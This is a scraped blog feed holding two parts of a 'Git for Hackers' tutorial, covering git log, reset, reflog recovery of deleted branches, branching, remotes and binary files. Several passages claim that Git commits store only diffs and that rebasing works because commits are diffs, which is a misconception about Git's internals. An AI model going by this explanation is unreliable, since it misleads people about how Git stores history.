To view the last 10 commits on the current branch run:

git log -10

If everything goes to pot and we want to just reset our current branch to a previous commit, we can run:

git reset --hard <commitHash>

This will drop all changes, staged and unstaged and just revert to the state of the provided commit.

We can also do a soft reset, where the staged and unstaged changes are not lost and only the branch reference is reset to the given hash. If we backtrack multiple commits then any changes in those commits will be instead staged, as they are no longer committed for the current branch.

git reset --soft <commitHash>

For those "oh crap" moments

Sometimes we make mistakes, but it's really hard to completely lose a commit in Git, even after merges and branch deletions and so on.

If we're totally stuck and have deleted a branch we didn't mean to or something similar, we can run

git reflog

as in "reference log". This command just logs the history of what we've been doing and associated messages:

Git for Hackers - Part 2, Using Git

The most recent changes are are the top.

We can see in this case that even though I had deleted the test branch, the hash is still available at b28267f. Immediately after this I had checked out master (the top message) and then deleted the test branch (the deletion is not shown as it's not a change to the current reference), but we can get back to the test branch by checking out the hash:

git checkout b28267f

and creating a branch from the current state again:

git checkout -b test

or alternatively, resetting the current branch to that position again:

git reset --hard b28267f

Going forward

If you're like, getting really into Git, some further reading for advanced topics are below:

  • Rebasing is a method of merging two branches which is possible as commits are just diffs. Instead of smushing the branches together to merge them, it takes the changes on the branch we want to merge in and "replays" the diffs onto the top of the branch being merged into. This strategy results in a super clean and easy to follow Git history as it appears to just be linear, so a real plus if you use a lot of branches or are colloborating with other people on a project.

  • References faciliate how Git works internally, including how Git tracks the differences between remote and local versions of branches. Understanding how these work can add some real Git-fu to your day.

]]>
<![CDATA[Git for Hackers - Part 1, A Basic Understanding]]>/git-for-hackers/5aa841982310ff0fadc75debMon, 19 Mar 2018 09:56:14 GMTGit for Hackers - Part 1, A Basic Understanding

Continuing along the "Tools for Hackers" theme, today we'll be looking at Git.

Git is an often misused and ill understood tool. Many developers who use it daily barely understand what they're doing and just parrot a few commands, let alone hackers who may only use it periodically.

In these guides we're going to take a look at Git and go over some useful tips and tricks for hackers. We'll avoid most of the collaboration intricacies as usually we're just cloning a repository to use a tool, or uploading to our own repositories that few others can commit to, and just focus on the Version Control System (VCS) aspects.

In Part 1 we're going to get to grips with the fundamentals of how Git works, as understanding this will make us a real power user - quick, efficient and able to get out of any trouble we land ourselves in.

So What is Git?

Git is a fast, lightweight and open source distributed version control system. A Version Control System, or VCS, is a tool that allows you manage changes in files by creating a version of it after you change it. You can then change the version of the files that are used if you want to backtrack, or share the versions with other people.

The distributed part doesn't really matter to us, but essentially just means that every repository has a full copy of the contents and history, and not that the history is stored on a server somewhere.

The Fundamentals

In Git you make changes to your content, and then commit these changes. The commit object stores just the differences between the versions of the files, so commits are chained. Commits are identified by their hash, but have other metadata such as an author, message, timestamp etc.

The chain of commits form a branch, with master being the (you guessed it) master branch that you start with. The branch name is actually just a pointer to the commit at the head of the chain, so moving this around (if you want to backtrack for example) is fast and easy. You can move up and down this chain, reverting the state of things to earlier commits if you don't like the changes you've made, or if things "suddenly stop compiling".

Git for Hackers - Part 1, A Basic Understanding
Your current working commit is referenced by another tag, called HEAD. So when you're on a branch both the branch name tag and HEAD tag will point to the last commit on that branch. If you have a cool idea you want to try out without interfering with your main codeline you can create a different branch, (such as testing above). Any commits on this branch are not added to master but are still connected on the chain. If the work on master continues, then the branches will diverge, as shown below.
Git for Hackers - Part 1, A Basic Understanding
You can quickly and easily switch between the two (or more!) branches as all you are really doing when you switch is moving the HEAD tag around, and Git applies the appropriate file diffs.

Later on you can merge branches if you like the changes you've made, or just abandon them and delete the branch if it bears no fruit (see what I did there? :D). All this makes Git super flexible while still fast, lightweight and easy to use.

Remote Repositories

Keeping a local copy of the repository is great, but what happens if we want to back up our contents on a remote server, or if we want to share it?

Git handles this using remotes. When you create a repository you can point it to a remote copy of the repository. You can then push and pull data from and to this repository.

If you decide to clone an existing remote repository then you create a full local copy of that repository, with the entire history and all the contents. As the history is just diffs however, this is usually still lightweight and quick. The remote repository you cloned from will automatically be added as the default remote repository (called origin) in your local copy, but you can add other remotes if desired.

Binary Files

It is worth noting that Git doesn't store diffs for binary files. It still stores them efficiently, but if you intend to make frequent changes to binary files in your repository then the repository will start to get bigger and slower.

Summary

We've had a quick look at Git and how it works. We know you can commit versions of files and backtrack them to any commit in their history. You can spin off versions if you want to experiment without affecting the master branch and then merge them in later or abandon them, and share or backup your repository to a remote server.

Understanding these fundamentals will greatly benefit you if you use Git, anyone can copy commands from the internet but as soon as something goes wrong or you want to do something a little more advanced you'll find yourself in a much better place if you understand what's going on.

Next time we'll take a look at actually using Git, as well as some tips, tricks and useful configuration pointers to turn you into a fabled Git Guru.

References

]]>